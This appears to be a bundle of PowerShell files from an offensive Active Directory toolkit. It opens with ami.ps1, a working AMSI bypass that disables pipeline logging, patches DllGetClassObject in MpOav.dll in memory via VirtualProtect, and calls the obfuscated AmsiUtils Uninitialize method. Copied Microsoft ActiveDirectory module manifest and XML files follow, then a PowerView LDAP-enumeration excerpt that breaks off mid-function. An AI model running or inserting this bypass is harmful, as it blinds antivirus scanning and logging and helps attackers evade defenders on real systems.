PowerShell

▼ ami.ps1

```
$module = Get-Module Microsoft.PowerShell.Utility # Get ta
rget module
$module.LogPipelineExecutionDetails = $false # Set module
execution details to false
$snap = Get-PSSnapin Microsoft.PowerShell.Core # Get targe
t ps-snapin
$snap.LogPipelineExecutionDetails = $false # Set ps-snapin
execution details to false

$APIs = @"
using System;
using System.Runtime.InteropServices;
public class APIs {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hMod
ule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddr
ess, UIntPtr ekwiam, uint flNewProtect, out uint lpflOldPr
otect);
}
"@

Add-Type $APIs

$wzys = "0xB8"
$coxo = "0x57"
```

```
$hxuu = "0x00"
$eqhh = "0x07"
$paej = "0x80"
$ppiy = "0xC3"
$Patch = [Byte[]] ($wzys,$coxo,$hxuu,$eqhh,+$paej,+$ppiy)

$LoadLibrary = [APIs]::LoadLibrary("MpOav.dll")
$Address = [APIs]::GetProcAddress($LoadLibrary,"DllGetClas
sObject")
$p = 0
[APIs]::VirtualProtect($Address, [uint32]6, 0x40, [ref]$p)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0,
$Address, 6)
$object = [Ref].Assembly.GetType('System.Ma'+'nag'+'em
e'+'nt.Autom'+'ation.A'+'ms'+'iU'+'ti'+'ls')
$Uninitialize = $object.GetMethods('N'+'onPu'+'blic,st'+'a
t'+'ic') | Where-Object Name -eq Uninitialize
$Uninitialize.Invoke($object,$null)
```

▼ ActiveDirectory.ps1

```
@{
GUID="{43c15630-959c-49e4-a977-758c5cc93408}"
Author="Microsoft Corporation"
CompanyName="Microsoft Corporation"
ModuleVersion="1.0.0.0"
PowerShellVersion="3.0"
CLRVersion="4.0"
Copyright="© Microsoft Corporation. All rights reserved."
NestedModules="Microsoft.ActiveDirectory.Management"
RequiredAssemblies="Microsoft.ActiveDirectory.Management"
TypesToProcess=Get-Content "ActiveDirectory.Types.ps1xml"
FormatsToProcess="ActiveDirectory.Format.ps1xml"
HelpInfoUri="http://go.microsoft.com/fwlink/?LinkId=390743
"
```

```
CmdletsToExport=
    "Add-ADCentralAccessPolicyMember",
    "Add-ADComputerServiceAccount",
    "Add-ADDomainControllerPasswordReplicationPolicy",
    "Add-ADFineGrainedPasswordPolicySubject",
    "Add-ADGroupMember",
    "Add-ADPrincipalGroupMembership",
    "Add-ADResourcePropertyListMember",
    "Clear-ADAccountExpiration",
    "Clear-ADClaimTransformLink",
    "Disable-ADAccount",
    "Disable-ADOptionalFeature",
    "Enable-ADAccount",
    "Enable-ADOptionalFeature",
    "Get-ADAccountAuthorizationGroup",
    "Get-ADAccountResultantPasswordReplicationPolicy",
    "Get-ADAuthenticationPolicy",
    "Get-ADAuthenticationPolicySilo",
    "Get-ADCentralAccessPolicy",
    "Get-ADCentralAccessRule",
    "Get-ADClaimTransformPolicy",
    "Get-ADClaimType",
    "Get-ADComputer",
    "Get-ADComputerServiceAccount",
    "Get-ADDCCloningExcludedApplicationList",
    "Get-ADDefaultDomainPasswordPolicy",
    "Get-ADDomain",
    "Get-ADDomainController",
    "Get-ADDomainControllerPasswordReplicationPolicy",
    "Get-ADDomainControllerPasswordReplicationPolicyUsag
e",
    "Get-ADFineGrainedPasswordPolicy",
    "Get-ADFineGrainedPasswordPolicySubject",
    "Get-ADForest",
    "Get-ADGroup",
    "Get-ADGroupMember",
```

```
    "Get-ADObject",
    "Get-ADOptionalFeature",
    "Get-ADOrganizationalUnit",
    "Get-ADPrincipalGroupMembership",
    "Get-ADReplicationAttributeMetadata",
    "Get-ADReplicationConnection",
    "Get-ADReplicationFailure",
    "Get-ADReplicationPartnerMetadata",
    "Get-ADReplicationQueueOperation",
    "Get-ADReplicationSite",
    "Get-ADReplicationSiteLink",
    "Get-ADReplicationSiteLinkBridge",
    "Get-ADReplicationSubnet",
    "Get-ADReplicationUpToDatenessVectorTable",
    "Get-ADResourceProperty",
    "Get-ADResourcePropertyList",
    "Get-ADResourcePropertyValueType",
    "Get-ADRootDSE",
    "Get-ADServiceAccount",
    "Get-ADTrust",
    "Get-ADUser",
    "Get-ADUserResultantPasswordPolicy",
    "Grant-ADAuthenticationPolicySiloAccess",
    "Install-ADServiceAccount",
    "Move-ADDirectoryServer",
    "Move-ADDirectoryServerOperationMasterRole",
    "Move-ADObject",
    "New-ADAuthenticationPolicy",
    "New-ADAuthenticationPolicySilo",
    "New-ADCentralAccessPolicy",
    "New-ADCentralAccessRule",
    "New-ADClaimTransformPolicy",
    "New-ADClaimType",
    "New-ADComputer",
    "New-ADDCCloneConfigFile",
    "New-ADFineGrainedPasswordPolicy",
```

```
    "New-ADGroup",
    "New-ADObject",
    "New-ADOrganizationalUnit",
    "New-ADReplicationSite",
    "New-ADReplicationSiteLink",
    "New-ADReplicationSiteLinkBridge",
    "New-ADReplicationSubnet",
    "New-ADResourceProperty",
    "New-ADResourcePropertyList",
    "New-ADServiceAccount",
    "New-ADUser",
    "Remove-ADAuthenticationPolicy",
    "Remove-ADAuthenticationPolicySilo",
    "Remove-ADCentralAccessPolicy",
    "Remove-ADCentralAccessPolicyMember",
    "Remove-ADCentralAccessRule",
    "Remove-ADClaimTransformPolicy",
    "Remove-ADClaimType",
    "Remove-ADComputer",
    "Remove-ADComputerServiceAccount",
    "Remove-ADDomainControllerPasswordReplicationPolicy",
    "Remove-ADFineGrainedPasswordPolicy",
    "Remove-ADFineGrainedPasswordPolicySubject",
    "Remove-ADGroup",
    "Remove-ADGroupMember",
    "Remove-ADObject",
    "Remove-ADOrganizationalUnit",
    "Remove-ADPrincipalGroupMembership",
    "Remove-ADReplicationSite",
    "Remove-ADReplicationSiteLink",
    "Remove-ADReplicationSiteLinkBridge",
    "Remove-ADReplicationSubnet",
    "Remove-ADResourceProperty",
    "Remove-ADResourcePropertyList",
    "Remove-ADResourcePropertyListMember",
    "Remove-ADServiceAccount",
```

```
    "Remove-ADUser",
    "Rename-ADObject",
    "Revoke-ADAuthenticationPolicySiloAccess",
    "Reset-ADServiceAccountPassword",
    "Restore-ADObject",
    "Search-ADAccount",
    "Set-ADAccountAuthenticationPolicySilo",
    "Set-ADAccountControl",
    "Set-ADAccountExpiration",
    "Set-ADAccountPassword",
    "Set-ADAuthenticationPolicy",
    "Set-ADAuthenticationPolicySilo",
    "Set-ADCentralAccessPolicy",
    "Set-ADCentralAccessRule",
    "Set-ADClaimTransformLink",
    "Set-ADClaimTransformPolicy",
    "Set-ADClaimType",
    "Set-ADComputer",
    "Set-ADDefaultDomainPasswordPolicy",
    "Set-ADDomain",
    "Set-ADDomainMode",
    "Set-ADFineGrainedPasswordPolicy",
    "Set-ADForest",
    "Set-ADForestMode",
    "Set-ADGroup",
    "Set-ADObject",
    "Set-ADOrganizationalUnit",
    "Set-ADReplicationConnection",
    "Set-ADReplicationSite",
    "Set-ADReplicationSiteLink",
    "Set-ADReplicationSiteLinkBridge",
    "Set-ADReplicationSubnet",
    "Set-ADResourceProperty",
    "Set-ADResourcePropertyList",
    "Set-ADServiceAccount",
    "Set-ADUser",
```

```
    "Show-ADAuthenticationPolicyExpression",
    "Sync-ADObject",
    "Test-ADServiceAccount",
    "Uninstall-ADServiceAccount",
    "Unlock-ADAccount"
}
```

ActiveDirectory.Format.ps1xml

```
<?xml version="1.0" encoding="utf-8" ?>
<!-- ****************************************************
**************
This file contains format information for the Active Direc
tory PowerShell
Snapin.

Copyright (c) Microsoft Corporation.  All rights reserved.
****************************************************
********** -->
<Configuration>
  <ViewDefinitions>
    <View>
      <Name>ADObject</Name>
      <ViewSelectedBy>
        <TypeName>Microsoft.ActiveDirectory.Management.ADO
bject#ProviderX500DefaultPropertySet</TypeName>
      </ViewSelectedBy>
      <TableControl>
        <TableHeaders>
          <TableColumnHeader>
            <Label>Name</Label>
            <Width>20</Width>
            <Alignment>left</Alignment>
          </TableColumnHeader>
```

```
            <TableColumnHeader>
              <Label>ObjectClass</Label>
              <Width>20</Width>
              <Alignment>left</Alignment>
            </TableColumnHeader>
            <TableColumnHeader>
              <Label>DistinguishedName</Label>
              <Alignment>left</Alignment>
            </TableColumnHeader>
          </TableHeaders>
          <TableRowEntries>
            <TableRowEntry>
              <TableColumnItems>
                <TableColumnItem>
                  <PropertyName>Name</PropertyName>
                </TableColumnItem>
                <TableColumnItem>
                  <PropertyName>ObjectClass</PropertyName>
                </TableColumnItem>
                <TableColumnItem>
                  <PropertyName>DistinguishedName</PropertyN
ame>
                </TableColumnItem>
              </TableColumnItems>
            </TableRowEntry>
          </TableRowEntries>
        </TableControl>
      </View>

      <View>
        <Name>ADObject</Name>
        <ViewSelectedBy>
          <TypeName>Microsoft.ActiveDirectory.Management.ADO
bject#ProviderX500DefaultPropertySet</TypeName>
        </ViewSelectedBy>
        <ListControl>
```

```
        <ListEntries>
          <ListEntry>
            <ListItems>
              <ListItem>
                <PropertyName>Name</PropertyName>
              </ListItem>
              <ListItem>
                <PropertyName>ObjectClass</PropertyName>
              </ListItem>
              <ListItem>
                <PropertyName>DistinguishedName</PropertyN
ame>
              </ListItem>
              <ListItem>
                <PropertyName>ObjectGuid</PropertyName>
              </ListItem>
            </ListItems>
          </ListEntry>
        </ListEntries>
      </ListControl>
    </View>

    <View>
      <Name>ADObject</Name>
      <ViewSelectedBy>
        <TypeName>Microsoft.ActiveDirectory.Management.ADO
bject#ProviderCanonicalDefaultPropertySet</TypeName>
      </ViewSelectedBy>
      <TableControl>
        <TableHeaders>
          <TableColumnHeader>
            <Label>Name</Label>
            <Width>20</Width>
            <Alignment>left</Alignment>
          </TableColumnHeader>
          <TableColumnHeader>
```

```
            <Label>ObjectClass</Label>
            <Width>20</Width>
            <Alignment>left</Alignment>
          </TableColumnHeader>
          <TableColumnHeader>
            <Label>DistinguishedName</Label>
            <Alignment>left</Alignment>
          </TableColumnHeader>
          <TableColumnHeader>
            <Label>CanonicalName</Label>
            <Alignment>left</Alignment>
          </TableColumnHeader>
        </TableHeaders>
        <TableRowEntries>
          <TableRowEntry>
            <TableColumnItems>
              <TableColumnItem>
                <PropertyName>Name</PropertyName>
              </TableColumnItem>
              <TableColumnItem>
                <PropertyName>ObjectClass</PropertyName>
              </TableColumnItem>
              <TableColumnItem>
                <PropertyName>DistinguishedName</PropertyN
ame>
              </TableColumnItem>
              <TableColumnItem>
                <PropertyName>CanonicalName</PropertyName>
              </TableColumnItem>
            </TableColumnItems>
          </TableRowEntry>
        </TableRowEntries>
      </TableControl>
    </View>

    <View>
```

```
      <Name>ADObject</Name>
      <ViewSelectedBy>
        <TypeName>Microsoft.ActiveDirectory.Management.ADO
bject#ProviderCanonicalDefaultPropertySet</TypeName>
      </ViewSelectedBy>
      <ListControl>
        <ListEntries>
          <ListEntry>
            <ListItems>
              <ListItem>
                <PropertyName>Name</PropertyName>
              </ListItem>
              <ListItem>
                <PropertyName>ObjectClass</PropertyName>
              </ListItem>
              <ListItem>
                <PropertyName>DistinguishedName</PropertyN
ame>
              </ListItem>
              <ListItem>
                <PropertyName>CanonicalName</PropertyName>
              </ListItem>
              <ListItem>
                <PropertyName>ObjectGuid</PropertyName>
              </ListItem>
            </ListItems>
          </ListEntry>
        </ListEntries>
      </ListControl>
    </View>

  </ViewDefinitions>
</Configuration>
```

ActiveDirectory.Types.ps1xml

```
<?xml version="1.0" encoding="utf-8" ?>
<!-- ****************************************************
**************
This file contains type information for the Active Directo
ry PowerShell
Snapin.

Copyright (c) Microsoft Corporation.  All rights reserved.
****************************************************
********** -->
<Types>
    <Type>
        <Name>Microsoft.ActiveDirectory.Management.ADEntit
y</Name>
        <TypeAdapter>
            <TypeName>Microsoft.ActiveDirectory.Managemen
t.ADEntityAdapter</TypeName>
        </TypeAdapter>
    </Type>
    <Type>
        <Name>Microsoft.ActiveDirectory.Management.ADObjec
t</Name>
        <TypeAdapter>
            <TypeName>Microsoft.ActiveDirectory.Managemen
t.ADEntityAdapter</TypeName>
        </TypeAdapter>
    </Type>
    <Type>
        <Name>Microsoft.ActiveDirectory.Management.ADOrgan
izationalUnit</Name>
        <TypeAdapter>
            <TypeName>Microsoft.ActiveDirectory.Managemen
t.ADEntityAdapter</TypeName>
```

```
        </TypeAdapter>
    </Type>
    <Type>
        <Name>Microsoft.ActiveDirectory.Management.ADPrinc
ipal</Name>
        <TypeAdapter>
            <TypeName>Microsoft.ActiveDirectory.Managemen
t.ADEntityAdapter</TypeName>
        </TypeAdapter>
    </Type>
    <Type>
        <Name>Microsoft.ActiveDirectory.Management.ADGroup
</Name>
        <TypeAdapter>
            <TypeName>Microsoft.ActiveDirectory.Managemen
t.ADEntityAdapter</TypeName>
        </TypeAdapter>
    </Type>
    <Type>
        <Name>Microsoft.ActiveDirectory.Management.ADUser
</Name>
        <TypeAdapter>
            <TypeName>Microsoft.ActiveDirectory.Managemen
t.ADEntityAdapter</TypeName>
        </TypeAdapter>
    </Type>
    <Type>
        <Name>Microsoft.ActiveDirectory.Management.ADCompu
ter</Name>
        <TypeAdapter>
            <TypeName>Microsoft.ActiveDirectory.Managemen
t.ADEntityAdapter</TypeName>
        </TypeAdapter>
    </Type>
    <Type>
        <Name>Microsoft.ActiveDirectory.Management.ADAccou
```

```
nt</Name>
        <TypeAdapter>
            <TypeName>Microsoft.ActiveDirectory.Managemen
t.ADEntityAdapter</TypeName>
        </TypeAdapter>
    </Type>
    <Type>
        <Name>Microsoft.ActiveDirectory.Management.ADServi
ceAccount</Name>
        <TypeAdapter>
            <TypeName>Microsoft.ActiveDirectory.Managemen
t.ADEntityAdapter</TypeName>
        </TypeAdapter>
    </Type>
    <Type>
        <Name>Microsoft.ActiveDirectory.Management.ADDomai
n</Name>
        <TypeAdapter>
            <TypeName>Microsoft.ActiveDirectory.Managemen
t.ADEntityAdapter</TypeName>
        </TypeAdapter>
    </Type>
    <Type>
        <Name>Microsoft.ActiveDirectory.Management.ADFineG
rainedPasswordPolicy</Name>
        <TypeAdapter>
            <TypeName>Microsoft.ActiveDirectory.Managemen
t.ADEntityAdapter</TypeName>
        </TypeAdapter>
    </Type>
    <Type>
        <Name>Microsoft.ActiveDirectory.Management.ADRootD
SE</Name>
        <TypeAdapter>
            <TypeName>Microsoft.ActiveDirectory.Managemen
t.ADEntityAdapter</TypeName>
```

```
        </TypeAdapter>
    </Type>
    <Type>
        <Name>Microsoft.ActiveDirectory.Management.ADDefau
ltDomainPasswordPolicy</Name>
        <TypeAdapter>
            <TypeName>Microsoft.ActiveDirectory.Managemen
t.ADEntityAdapter</TypeName>
        </TypeAdapter>
    </Type>
    <Type>
        <Name>Microsoft.ActiveDirectory.Management.ADDirec
toryServer</Name>
        <TypeAdapter>
            <TypeName>Microsoft.ActiveDirectory.Managemen
t.ADEntityAdapter</TypeName>
        </TypeAdapter>
    </Type>
    <Type>
        <Name>Microsoft.ActiveDirectory.Management.ADDomai
nController</Name>
        <TypeAdapter>
            <TypeName>Microsoft.ActiveDirectory.Managemen
t.ADEntityAdapter</TypeName>
        </TypeAdapter>
    </Type>
    <Type>
        <Name>Microsoft.ActiveDirectory.Management.ADFores
t</Name>
        <TypeAdapter>
            <TypeName>Microsoft.ActiveDirectory.Managemen
t.ADEntityAdapter</TypeName>
        </TypeAdapter>
    </Type>
    <Type>
        <Name>Microsoft.ActiveDirectory.Management.ADOptio
```

```
nalFeature</Name>
        <TypeAdapter>
            <TypeName>Microsoft.ActiveDirectory.Managemen
t.ADEntityAdapter</TypeName>
        </TypeAdapter>
    </Type>
    <Type>
        <Name>Microsoft.ActiveDirectory.Management.ADRepli
cationSite</Name>
        <TypeAdapter>
            <TypeName>Microsoft.ActiveDirectory.Managemen
t.ADEntityAdapter</TypeName>
        </TypeAdapter>
    </Type>
    <Type>
        <Name>Microsoft.ActiveDirectory.Management.ADRepli
cationSubnet</Name>
        <TypeAdapter>
            <TypeName>Microsoft.ActiveDirectory.Managemen
t.ADEntityAdapter</TypeName>
        </TypeAdapter>
    </Type>
    <Type>
        <Name>Microsoft.ActiveDirectory.Management.ADRepli
cationSiteLink</Name>
        <TypeAdapter>
            <TypeName>Microsoft.ActiveDirectory.Managemen
t.ADEntityAdapter</TypeName>
        </TypeAdapter>
    </Type>
    <Type>
        <Name>Microsoft.ActiveDirectory.Management.ADRepli
cationSiteLinkBridge</Name>
        <TypeAdapter>
            <TypeName>Microsoft.ActiveDirectory.Managemen
t.ADEntityAdapter</TypeName>
```

```
        </TypeAdapter>
    </Type>
    <Type>
        <Name>Microsoft.ActiveDirectory.Management.ADRepli
cationAttributeMetadata</Name>
        <TypeAdapter>
            <TypeName>Microsoft.ActiveDirectory.Managemen
t.ADEntityAdapter</TypeName>
        </TypeAdapter>
    </Type>
    <Type>
        <Name>Microsoft.ActiveDirectory.Management.ADRepli
cationFailure</Name>
        <TypeAdapter>
            <TypeName>Microsoft.ActiveDirectory.Managemen
t.ADEntityAdapter</TypeName>
        </TypeAdapter>
    </Type>
    <Type>
        <Name>Microsoft.ActiveDirectory.Management.ADRepli
cationPartnerMetadata</Name>
        <TypeAdapter>
            <TypeName>Microsoft.ActiveDirectory.Managemen
t.ADEntityAdapter</TypeName>
        </TypeAdapter>
    </Type>
    <Type>
        <Name>Microsoft.ActiveDirectory.Management.ADRepli
cationQueueOperation</Name>
        <TypeAdapter>
            <TypeName>Microsoft.ActiveDirectory.Managemen
t.ADEntityAdapter</TypeName>
        </TypeAdapter>
    </Type>
    <Type>
        <Name>Microsoft.ActiveDirectory.Management.ADRepli
```

```
cationUpToDatenessVectorTable</Name>
        <TypeAdapter>
            <TypeName>Microsoft.ActiveDirectory.Managemen
t.ADEntityAdapter</TypeName>
        </TypeAdapter>
    </Type>
    <Type>
        <Name>Microsoft.ActiveDirectory.Management.ADRepli
cationConnection</Name>
        <TypeAdapter>
            <TypeName>Microsoft.ActiveDirectory.Managemen
t.ADEntityAdapter</TypeName>
        </TypeAdapter>
    </Type>
    <Type>
        <Name>Microsoft.ActiveDirectory.Management.ADClaim
TypeBase</Name>
        <TypeAdapter>
            <TypeName>Microsoft.ActiveDirectory.Managemen
t.ADEntityAdapter</TypeName>
        </TypeAdapter>
    </Type>
    <Type>
        <Name>Microsoft.ActiveDirectory.Management.ADResou
rceProperty</Name>
        <TypeAdapter>
            <TypeName>Microsoft.ActiveDirectory.Managemen
t.ADEntityAdapter</TypeName>
        </TypeAdapter>
    </Type>
    <Type>
        <Name>Microsoft.ActiveDirectory.Management.ADClaim
Type</Name>
        <TypeAdapter>
            <TypeName>Microsoft.ActiveDirectory.Managemen
t.ADEntityAdapter</TypeName>
```

```
        </TypeAdapter>
    </Type>
    <Type>
        <Name>Microsoft.ActiveDirectory.Management.ADCentr
alAccessPolicy</Name>
        <TypeAdapter>
            <TypeName>Microsoft.ActiveDirectory.Managemen
t.ADEntityAdapter</TypeName>
        </TypeAdapter>
    </Type>
    <Type>
        <Name>Microsoft.ActiveDirectory.Management.ADCentr
alAccessRule</Name>
        <TypeAdapter>
            <TypeName>Microsoft.ActiveDirectory.Managemen
t.ADEntityAdapter</TypeName>
        </TypeAdapter>
    </Type>
    <Type>
        <Name>Microsoft.ActiveDirectory.Management.ADResou
rcePropertyList</Name>
        <TypeAdapter>
          <TypeName>Microsoft.ActiveDirectory.Management.A
DEntityAdapter</TypeName>
        </TypeAdapter>
    </Type>
  <Type>
    <Name>Microsoft.ActiveDirectory.Management.ADResourceP
ropertyValueType</Name>
    <TypeAdapter>
      <TypeName>Microsoft.ActiveDirectory.Management.ADEnt
ityAdapter</TypeName>
    </TypeAdapter>
  </Type>
    <Type>
        <Name>Microsoft.ActiveDirectory.Management.ADTrust
```

```
</Name>
        <TypeAdapter>
            <TypeName>Microsoft.ActiveDirectory.Managemen
t.ADEntityAdapter</TypeName>
        </TypeAdapter>
    </Type>
    <Type>
        <Name>Microsoft.ActiveDirectory.Management.ADClaim
TransformPolicy</Name>
        <TypeAdapter>
            <TypeName>Microsoft.ActiveDirectory.Managemen
t.ADEntityAdapter</TypeName>
        </TypeAdapter>
    </Type>
    <Type>
        <Name>Microsoft.ActiveDirectory.Management.ADAuthe
nticationPolicy</Name>
        <TypeAdapter>
            <TypeName>Microsoft.ActiveDirectory.Managemen
t.ADEntityAdapter</TypeName>
        </TypeAdapter>
    </Type>
    <Type>
        <Name>Microsoft.ActiveDirectory.Management.ADAuthe
nticationPolicySilo</Name>
        <TypeAdapter>
            <TypeName>Microsoft.ActiveDirectory.Managemen
t.ADEntityAdapter</TypeName>
        </TypeAdapter>
    </Type>
</Types>
```

▼ incurb

```
    [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PS
ShouldProcess', '')]
    [OutputType('System.DirectoryServices.DirectorySearche
r')]
    [CmdletBinding()]
    Param(
        [Parameter(ValueFromPipeline = $True)]
        [ValidateNotNullOrEmpty()]
        [String]
        $Domain,

        [ValidateNotNullOrEmpty()]
        [Alias('Filter')]
        [String]
        $LDAPFilter,

        [ValidateNotNullOrEmpty()]
        [String[]]
        $Properties,

        [ValidateNotNullOrEmpty()]
        [Alias('ADSPath')]
        [String]
        $SearchBase,

        [ValidateNotNullOrEmpty()]
        [String]
        $SearchBasePrefix,

        [ValidateNotNullOrEmpty()]
        [Alias('DomainController')]
        [String]
        $Server,

        [ValidateSet('Base', 'OneLevel', 'Subtree')]
```

```
        [String]
        $SearchScope = 'Subtree',

        [ValidateRange(1, 10000)]
        [Int]
        $ResultPageSize = 200,

        [ValidateRange(1, 10000)]
        [Int]
        $ServerTimeLimit = 120,

        [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sa
cl')]
        [String]
        $SecurityMasks,

        [Switch]
        $Tombstone,

        [Management.Automation.PSCredential]
        [Management.Automation.CredentialAttribute()]
        $Credential = [Management.Automation.PSCredentia
l]::Empty
    )

    PROCESS {
        if ($PSBoundParameters['Domain']) {
            $TargetDomain = $Domain
        }
        else {
            # if not -Domain is specified, retrieve the cu
rrent domain name
            if ($PSBoundParameters['Credential']) {
                $DomainObject = Get-Domain -Credential $Cr
edential
            }
```

```
            else {
                $DomainObject = Get-Domain
            }
            $TargetDomain = $DomainObject.Name
        }

        if (-not $PSBoundParameters['Server']) {
            # if there's not a specified server to bind t
o, try to pull the current domain PDC
            try {
                if ($DomainObject) {
                    $BindServer = $DomainObject.PdcRoleOwn
er.Name
                }
                elseif ($PSBoundParameters['Credential'])
{
                    $BindServer = ((Get-Domain -Credential
$Credential).PdcRoleOwner).Name
                }
                else {
                    $BindServer = ((Get-Domain).PdcRoleOwn
er).Name
                }
            }
            catch {
                throw "[Get-DomainSearcher] Error in retri
eving PDC for current domain: $_"
            }
        }
        else {
            $BindServer = $Server
        }

        $SearchString = 'LDAP://'

        if ($BindServer -and ($BindServer.Trim() -ne ''))
```

```
{
            $SearchString += $BindServer
            if ($TargetDomain) {
                $SearchString += '/'
            }
        }

        if ($PSBoundParameters['SearchBasePrefix']) {
            $SearchString += $SearchBasePrefix + ','
        }

        if ($PSBoundParameters['SearchBase']) {
            if ($SearchBase -Match '^GC://') {
                # if we're searching the global catalog, g
et the path in the right format
                $DN = $SearchBase.ToUpper().Trim('/')
                $SearchString = ''
            }
            else {
                if ($SearchBase -match '^LDAP://') {
                    if ($SearchBase -match "LDAP://.+/.+")
{
                        $SearchString = ''
                        $DN = $SearchBase
                    }
                    else {
                        $DN = $SearchBase.SubString(7)
                    }
                }
                else {
                    $DN = $SearchBase
                }
            }
        }
        else {
            # transform the target domain name into a dist
```

```
inguishedName if an ADS search base is not specified
            if ($TargetDomain -and ($TargetDomain.Trim() -
ne '')) {
                $DN = "DC=$($TargetDomain.Replace('.', ',D
C='))"
            }
        }

        $SearchString += $DN
        Write-Verbose "[Get-DomainSearcher] search string:
$SearchString"

        if ($Credential -ne [Management.Automation.PSCrede
ntial]::Empty) {
            Write-Verbose "[Get-DomainSearcher] Using alte
rnate credentials for LDAP connection"
            # bind to the inital search object using alter
nate credentials
            $DomainObject = New-Object DirectoryServices.D
irectoryEntry($SearchString, $Credential.UserName, $Creden
tial.GetNetworkCredential().Password)
            $Searcher = New-Object System.DirectoryService
s.DirectorySearcher($DomainObject)
        }
        else {
            # bind to the inital object using the current
credentials
            $Searcher = New-Object System.DirectoryService
s.DirectorySearcher([ADSI]$SearchString)
        }

        $Searcher.PageSize = $ResultPageSize
        $Searcher.SearchScope = $SearchScope
        $Searcher.CacheResults = $False
        $Searcher.ReferralChasing = [System.DirectoryServi
ces.ReferralChasingOption]::All
```

```
        if ($PSBoundParameters['ServerTimeLimit']) {
            $Searcher.ServerTimeLimit = $ServerTimeLimit
        }

        if ($PSBoundParameters['Tombstone']) {
            $Searcher.Tombstone = $True
        }

        if ($PSBoundParameters['LDAPFilter']) {
            $Searcher.filter = $LDAPFilter
        }

        if ($PSBoundParameters['SecurityMasks']) {
            $Searcher.SecurityMasks = Switch ($SecurityMas
ks) {
                'Dacl' { [System.DirectoryServices.Securit
yMasks]::Dacl }
                'Group' { [System.DirectoryServices.Securi
tyMasks]::Group }
                'None' { [System.DirectoryServices.Securit
yMasks]::None }
                'Owner' { [System.DirectoryServices.Securi
tyMasks]::Owner }
                'Sacl' { [System.DirectoryServices.Securit
yMasks]::Sacl }
            }
        }

        if ($PSBoundParameters['Properties']) {
            # handle an array of properties to load w/ the
possibility of comma-separated strings
            $PropertiesToLoad = $Properties| ForEach-Objec
t { $_.Split(',') }
            $Null = $Searcher.PropertiesToLoad.AddRange
(($PropertiesToLoad))
```

```
        }

        $Searcher
    }
}


function Convert-LDAPProperty {
<#
.SYNOPSIS
Helper that converts specific LDAP property result fields
and outputs
a custom psobject.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Converts a set of raw LDAP properties results from ADSI/LD
AP searches
into a proper PSObject. Used by several of the Get-Domain*
function.
.PARAMETER Properties
Properties object to extract out LDAP fields for display.
.OUTPUTS
System.Management.Automation.PSCustomObject
A custom PSObject with LDAP hashtable properties translate
d.
#>

    [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PS
ShouldProcess', '')]
    [OutputType('System.Management.Automation.PSCustomObje
ct')]
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $True, ValueFromPipeline =
```

```
$True)]
        [ValidateNotNullOrEmpty()]
        $Properties
    )

    $ObjectProperties = @{}

    $Properties.PropertyNames | ForEach-Object {
        if ($_ -ne 'adspath') {
            if (($_ -eq 'objectsid') -or ($_ -eq 'sidhisto
ry')) {
                # convert all listed sids (i.e. if multipl
e are listed in sidHistory)
                $ObjectProperties[$_] = $Properties[$_] |
ForEach-Object { (New-Object System.Security.Principal.Sec
urityIdentifier($_, 0)).Value }
            }
            elseif ($_ -eq 'grouptype') {
                $ObjectProperties[$_] = $Properties[$_][0]
-as $GroupTypeEnum
            }
            elseif ($_ -eq 'samaccounttype') {
                $ObjectProperties[$_] = $Properties[$_][0]
-as $SamAccountTypeEnum
            }
            elseif ($_ -eq 'objectguid') {
                # convert the GUID to a string
                $ObjectProperties[$_] = (New-Object Guid
(,$Properties[$_][0])).Guid
            }
            elseif ($_ -eq 'useraccountcontrol') {
                $ObjectProperties[$_] = $Properties[$_][0]
-as $UACEnum
            }
            elseif ($_ -eq 'ntsecuritydescriptor') {
                # $ObjectProperties[$_] = New-Object Secur
```

```
ity.AccessControl.RawSecurityDescriptor -ArgumentList $Pro
perties[$_][0], 0
                $Descriptor = New-Object Security.AccessCo
ntrol.RawSecurityDescriptor -ArgumentList $Properties[$_]
[0], 0
                if ($Descriptor.Owner) {
                    $ObjectProperties['Owner'] = $Descript
or.Owner
                }
                if ($Descriptor.Group) {
                    $ObjectProperties['Group'] = $Descript
or.Group
                }
                if ($Descriptor.DiscretionaryAcl) {
                    $ObjectProperties['DiscretionaryAcl']
= $Descriptor.DiscretionaryAcl
                }
                if ($Descriptor.SystemAcl) {
                    $ObjectProperties['SystemAcl'] = $Desc
riptor.SystemAcl
                }
            }
            elseif ($_ -eq 'accountexpires') {
                if ($Properties[$_][0] -gt [DateTime]::Max
Value.Ticks) {
                    $ObjectProperties[$_] = "NEVER"
                }
                else {
                    $ObjectProperties[$_] = [datetime]::fr
omfiletime($Properties[$_][0])
                }
            }
            elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'las
tlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'l
astlogoff') -or ($_ -eq 'badPasswordTime') ) {
                # convert timestamps
```

```
                if ($Properties[$_][0] -is [System.Marshal
ByRefObject]) {
                    # if we have a System.__ComObject
                    $Temp = $Properties[$_][0]
                    [Int32]$High = $Temp.GetType().InvokeM
ember('HighPart', [System.Reflection.BindingFlags]::GetPro
perty, $Null, $Temp, $Null)
                    [Int32]$Low  = $Temp.GetType().InvokeM
ember('LowPart',  [System.Reflection.BindingFlags]::GetPro
perty, $Null, $Temp, $Null)
                    $ObjectProperties[$_] = ([datetime]::F
romFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low)))
                }
                else {
                    # otherwise just a string
                    $ObjectProperties[$_] = ([datetime]::F
romFileTime(($Properties[$_][0])))
                }
            }
            elseif ($Properties[$_][0] -is [System.Marshal
ByRefObject]) {
                # try to convert misc com objects
                $Prop = $Properties[$_]
                try {
                    $Temp = $Prop[$_][0]
                    [Int32]$High = $Temp.GetType().InvokeM
ember('HighPart', [System.Reflection.BindingFlags]::GetPro
perty, $Null, $Temp, $Null)
                    [Int32]$Low  = $Temp.GetType().InvokeM
ember('LowPart',  [System.Reflection.BindingFlags]::GetPro
perty, $Null, $Temp, $Null)
                    $ObjectProperties[$_] = [Int64]("0x{0:
x8}{1:x8}" -f $High, $Low)
                }
                catch {
                    Write-Verbose "[Convert-LDAPProperty]
```

